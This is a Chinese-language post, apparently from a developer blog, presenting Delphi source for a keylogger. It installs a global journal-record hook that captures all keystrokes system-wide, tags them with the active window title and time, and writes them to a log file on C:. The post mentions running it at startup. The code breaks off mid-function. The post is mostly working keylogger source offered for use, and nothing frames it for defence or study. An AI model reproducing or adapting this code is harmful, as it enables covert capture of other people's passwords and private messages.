这个Delphi单元主要是把键盘按键保存在堆栈线性队列中，可以在软件界面自己查看按键内容，同时还保存了按键信息在c:\logfiles.txt的文本文件中，方便以后的查看。。。
安装全局钩子函数 KeyLogHook := SetWindowsHookEx(WH_jOURNALRECORD,KeyLogProc,HInstance,0);卸载钩子函数是 UnhookWindowsHookEx(KeyLogHook);
使用过程中好像有点问题，软件开机自启动的时候，会让Lingoes的启动无法正常启动，提示内存访问错误什么的，有时候莫名其妙钩子会失效，截获不了键盘按键，可能用dll的好点吧。。。
unit UntHook;
interface
Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
Const
_KeyPressMask = $80000000;
Enter = #13#10;
var
KeyLogHook: HHook = 0;
HLastFocus: HWnd = 0;
PrvChar: Char;
HookList:TStringList;
hookkey:String;
hNextHookProc:HHOOk;
//logtxt:TextFile;
sFileName:string='c:\logfile.txt';
function KeyLogProc(nCode:Integer;wParam,lParam:longint):LRESULT;stdcall;export;
function EnableHotKeyHook:Bool;stdcall;export;
implementation
uses
UntMain;
function KeyLogProc(nCode:Integer;wParam,lParam:longint):LResult;stdcall;
{Const
sFileName = 'c:\logfile.txt'; }
var
stream:TextFile;
ch:Char;
vKey:Integer;
HFocus:HWND;
Title:array[0..255] of Char;
str:array[0..12] of char;
stmp,stime:string;
tfLogFile:TextFile;
pEvt:^EVENTMSG;
nCapital,nNumLock,nShift:Integer;
isshift,isCapital,isNumLock:boolean;
begin
sFileName := FrmMain.EditLogPositon.Text;
//AssignFile(logtxt,Trim(FrmMain.EditLogPositon.Text));
if nCode < 0 then
begin
Result := CallNextHookEx(KeyLogHook, nCode, wParam, lParam);
exit;
end;
if (nCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
AssignFile(Stream,sFileName);
if not FileExists(sFileName) then
ReWrite(Stream)
else
Append(Stream);
HFocus := GetActiveWindow;
if HLastFocus <> HFocus then
begin
if hookkey <> '' then
begin
HookList.Add(hookkey);
// Append(LogTxt);
WriteLn(stream,hookkey);
hookkey := '';
end;
HookList.Add('------End------');
WriteLn(stream,'------------结束-------------');
HookList.Add('------Begin------');
WriteLn(stream,'------------开始-------------');
// close(logtxt);
GetWindowText(HFocus,Title,256);
HLastFocus := HFocus;
sTime := DatetimeToStr(Now);
HookList.Add(sTime + Format('Title:%s',[Title]));
WriteLn(Stream,sTime + Format('Title:%s',[Title]));
end;
if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
nShift := GetKeyState($10);
nCapital := GetKeyState($14);
nNumLock := GetKeyState($90);
isShift := ((nShift and _KeyPressMask)=_KeyPressMask);
isCapital := ((nCapital and 1) = 1);
isNumLock := ((nNumLock and 1) =1 );
if ((vKey >=48) and (vKey <=57)) then
begin
ch := Char(vKey);
end